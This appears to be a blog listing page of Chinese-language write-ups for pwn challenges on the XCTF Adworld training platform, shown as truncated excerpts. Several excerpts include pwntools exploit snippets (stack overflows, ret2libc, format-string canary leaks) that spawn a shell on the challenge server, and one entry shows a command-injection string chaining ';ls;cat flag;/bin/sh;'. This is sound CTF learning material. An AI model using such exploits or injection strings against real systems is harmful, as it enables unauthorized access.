
攻防世界
攻防世界 pwn题 wp
Y-peak
一个努力的小白pwn
展开
-
[攻防世界 pwn]——pwn1(内涵peak小知识)
[攻防世界 pwn]——pwn1题目地址:https://adworld.xctf.org.cn/题目:peak小知识这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇见printf函数,并且有格式化字符串漏洞的我们可以直接计算偏移利用%{offest}$s,打印出来。当然也可以用 % {offest} $p直接打印出canary 的值。遇见可以利用的栈溢出gets函数,如果有puts函数,或者printf("%s", **)的我们也可以直接泄露出来它。首先我们要清原创 2021-02-28 18:21:53 · 728 阅读 · 0 评论 -
[攻防世界 pwn]——实时数据监测
[攻防世界 pwn]——实时数据监测题目地址:https://adworld.xctf.org.cn/题目:checksec就不说了,没什么ida中只要将key里面的值修改为35795746,就好写个小脚本在pwndbg中看看偏移from pwn import *p = process('./pwn')gdb.attach(p, 'b *0x080484A7')#p = remote("111.200.241.244",48715)key_addr = 0x0804A048p原创 2021-02-27 11:04:18 · 708 阅读 · 1 评论 -
[攻防世界 pwn]——monkey
[攻防世界 pwn]——monkey题目地址:https://adworld.xctf.org.cn/题目:额,怎么说呢这道题。checksec没什么大不了的但是再IDA中就懵了,好大呀。好多文件。进入mian函数,也没有看很明白。准备运行程序看看到底是干什么的,帮助分析一下输入尝试输入aaaa,发现返回的东西没有被定义。我们在Linux命令中有时命令输入错误也是这样。猜测它可能直接让输入命令。结果输入help可以,但是有的命令可以有的不可以在IDA中查看一下字符串,因为它可以输入的字原创 2021-02-27 10:51:47 · 930 阅读 · 0 评论 -
[攻防世界 pwn]——反应釜开关控制
[攻防世界 pwn]——反应釜开关控制题目地址:https://adworld.xctf.org.cn/题目:无言以对,直接给你shell函数,返回覆盖到shell函数就OK了exploitfrom pwn import *p = remote("111.200.241.244",31931)payload='a' * (0x200 + 8)+p64(0x4005F6)p.sendlineafter('>',payload)p.interactive()...原创 2021-02-23 23:13:30 · 420 阅读 · 0 评论 -
[攻防世界 pwn]——pwn-100
[攻防世界 pwn]——pwn-100题目地址: https://adworld.xctf.org.cn/题目:checksec一下IDA中sub_40063D函数的作用就是读入200个字符, 不然不退出循环思路leek出来一个地址, 然后找到libc, 计算偏移找到system 和 ‘/bin/sh’ 循环调用, 得到shellfrom pwn import *from LibcSearcher import *#p = process("./pwn")p = remo原创 2021-02-21 19:41:23 · 305 阅读 · 0 评论 -
[攻防世界 pwn]——pwn-200
[攻防世界 pwn]——pwn-200题目地址: https://adworld.xctf.org.cn/题目:peak小知识ret2libc的题型, 一般给一个输出和一个输入的函数, 输入一般可以栈溢出。但是没有system和"/bin/sh"。首先, 利用已知的函数leek出来一个地址返回地址是可循环调用的地方,一般是用puts,或者write函数leek地址, 偶尔有时是printf函数, 然后找出libc版本计算偏移, 找到system和’/bin/sh’ 地址。重新构造rop链进而获原创 2021-02-20 21:49:03 · 752 阅读 · 2 评论 -
[攻防世界 pwn]——welpwn
[攻防世界 pwn]——welpwn题目地址: https://adworld.xctf.org.cn/题目:我只能说这道题太巧了, 实在太巧了。我想出来一个名词叫做栈连接还是先checksec一下原创 2021-02-20 20:58:06 · 377 阅读 · 0 评论 -
[攻防世界 pwn]——time_formatter(内涵peak小知识)
[攻防世界 pwn]——time_formatter题目地址: https://adworld.xctf.org.cn/题目:这是一道堆利用的题, UAFF(use After Free)漏洞。peak小知识堆空间释放后,指针不指向NULL,就仍指向该空间,并且重新申请的堆空间就是最先释放的堆空间Linux中 echo “;ls;cat flag;/bin/sh;”ls ,cat flag , /bin/sh, 会挨个执行老规矩还是先checksec一下在IDA中查看一下反汇原创 2021-02-20 19:11:06 · 355 阅读 · 0 评论 -
[攻防世界 pwn]——warmup
[攻防世界 pwn]——warmup题目地址: https://adworld.xctf.org.cn/题目:嘶, 碰过的第一个盲打的题, nc连上之后只有一个地址, 这个地址肯定是个有用的地址, 应该就是可以执行 system("/bin/sh")或者 system(“cat flag”)的地址。提供了一个输入, 应该是可以进行栈溢出, 不然就太难了。尝试一下, 不过不知道要填充的长度也不知道是64位还是32位的。我们只有挨个尝试, 写个exp如下:exploitfrom pwn i原创 2021-02-20 14:03:10 · 779 阅读 · 2 评论 -
[攻防世界 pwn]——Mary_Morton
[攻防世界 pwn]——Mary_Morton题目地址: https://adworld.xctf.org.cn/题目:checksec看下,64位还开启了NX和canary保护。(一般开启canary保护,都有格式化字符串漏洞)在IDA中看看, 果然有格式化字符串漏洞仔细看看代码会发现, 这个是个死循环, 1 里面有栈溢出, 2里面有格式化字符串漏洞, 3是退出。我们可以先利用格式化字符串的漏洞, 泄露出canary, 然后就可以利用栈溢出修改返回地址了。最近我学了一个新的原创 2021-02-20 13:24:39 · 268 阅读 · 0 评论 -
[攻防世界 pwn]——forgot
[攻防世界 pwn]——forgot题目地址: https://adworld.xctf.org.cn/题目:在checksec看下保护在IDA中,竟然有后面函数, 找到sub_80486CC函数地址发现最后(*(&v3 + --v14))()执行我们可以令v14 = 1这样就相当于v3所指向的函数执行将v3所指向的函数地址覆盖为我们想要的函数地址就可以了第一个栈溢出无法利用, 第二个可以利用利用’\x00’开头的字符串绕过检查, v2距离v3 = 0x20e原创 2021-02-20 11:58:38 · 233 阅读 · 0 评论 -
[攻防世界 pwn]——dice_game
[攻防世界 pwn]——dice_game题目地址: https://adworld.xctf.org.cn/题目:思路该题和前面的guess_num差不多, 可以点击查看 请点击。这道题是, 利用输入的name将seed覆盖,使得后面产生的随机数不随机。注意在Linux上面运行, window和Linux上面产生的随机数不一样exploitfrom pwn import *from LibcSearcher import *p=remote("111.200.241.244",原创 2021-02-20 08:30:03 · 338 阅读 · 0 评论 -
[攻防世界 pwn]——level3
题目地址: https://adworld.xctf.org.cn/题目:以前写过这个write up请点击偷个懒, 师傅们不要介意原创 2021-02-19 22:38:00 · 235 阅读 · 0 评论 -
[攻防世界 pwn]——cgpwn2
[攻防世界 pwn]——cgpwn2题目地址: https://adworld.xctf.org.cn/题目:checksec一下看看, 仅仅开启了NX保护在IDA中 look look, 竟然发现了system函数不过参数不对’思路先将 "/bin/sh" 写入name, 然后利用gets进行栈溢出, system作为返回值, name作为system的参数exploitfrom pwn import *p=remote("111.200.241.244",53774)nam原创 2021-02-19 22:18:28 · 498 阅读 · 2 评论 -
[攻防世界 pwn]——int_overflow
[攻防世界 pwn]——int_overflow题目地址: https://adworld.xctf.org.cn/题目:checksec一下,开启了NX在IDA中看看, 发现了后面函数和可以gets函数, 不过可惜这个gets函数无法栈溢出。不过我们看到在check_passwd函数中有strcpy函数, dest是可以栈溢出的, 不过前题是我们可以绕过检查。看了下 , 判断的v3是储存在al这个8位寄存器中, 也就是一个字节。当然也可以从_int8看出来是一个字节 0~255。所原创 2021-02-19 22:02:45 · 272 阅读 · 0 评论 -
[攻防世界 pwn]——guess_num
[攻防世界 pwn]——guess_num15[攻防世界 pwn]——level0题目地址: https://adworld.xctf.org.cn/题目:checksec一下,开启了NX, canary, PIE 好家伙在IDA中发现我们只要利用gets函数将seed[0]给覆盖掉就可以了, 间距为0x20用C语言写个小demo#include <stdio.h>#include <stdlib.h>int main(){ int n, b;原创 2021-02-19 21:14:43 · 1351 阅读 · 4 评论 -
[攻防世界 pwn]——string(内涵peak小知识)
[攻防世界 pwn]——string题目地址:https://adworld.xctf.org.cn/题目:peak小知识mmap函数作用,mmap主要是将文件映射到一段内存去同时设置那段内存的属性可读可写或者是可执行详情请看mmap & mprotect在checksec看到开启了canary和NX,应该和格式化字符串有关。在IDA中看看,发现侧边栏竟然有mmap函数,这个地方应该是关键点,找到函数位置,想要保证该函数执行,必须保证前两个函数执行完毕,并且a1 == a1[原创 2021-02-19 10:25:25 · 720 阅读 · 1 评论 -
[攻防世界 pwn]——level0
[攻防世界 pwn]——level0原创 2021-02-18 22:23:38 · 222 阅读 · 0 评论 -
[攻防世界 pwn]——hello_pwn
[攻防世界 pwn]——hello_pwn15题目地址: https://adworld.xctf.org.cn/题目:checksecIDA, 利用栈溢出修改dword_60106C就好距离为4exploitfrom pwn import *#p = process("./pwn")p = remote("111.200.241.244",35304)payload = 'a'*4 + p64(0x6e756161)p.sendline(payload)p.inter原创 2021-02-18 22:08:08 · 372 阅读 · 3 评论 -
[攻防世界 pwn]——when_did_you_born
[攻防世界 pwn]——when_did_you_born原创 2021-02-18 21:17:01 · 150 阅读 · 0 评论 -
[攻防世界 pwn]——CGfsb
[攻防世界 pwn]——CGfsb题目地址: https://adworld.xctf.org.cn/题目:这是一道简单的格式化字符串问题, 详情请参考点点我呀,参考就是我在pwndbg中调试, 偏移为 0xa = 10exploitfrom pwn import *#p = process("./e41a0f684d0e497f87bb309f91737e4d")p = remote("111.200.241.244",57659)#gdb.attach(p, "b *0x0原创 2021-02-18 21:05:52 · 220 阅读 · 2 评论 -
[攻防世界 pwn]——get_shell
[攻防世界 pwn]——get_shell题目地址: https://adworld.xctf.org.cn/题目:IDA源码直接交互就好exploitfrom pwn import *p = remote("111.200.241.244",39864)p.interactive()原创 2021-02-18 20:37:24 · 265 阅读 · 0 评论 -
[攻防世界 pwn]——level2
[攻防世界 pwn]——level2题目地址: https://adworld.xctf.org.cn/题目:32位程序IDA中, 找到system和 ‘/bin/sh’ 地址进行覆盖exploitfrom pwn import *p = remote("111.200.241.244",55083)system_addr = 0x0804845Cbinsh = 0x0804A024payload = 'a' * (0x88 + 0x4) + p32(system_addr原创 2021-02-18 20:30:16 · 322 阅读 · 5 评论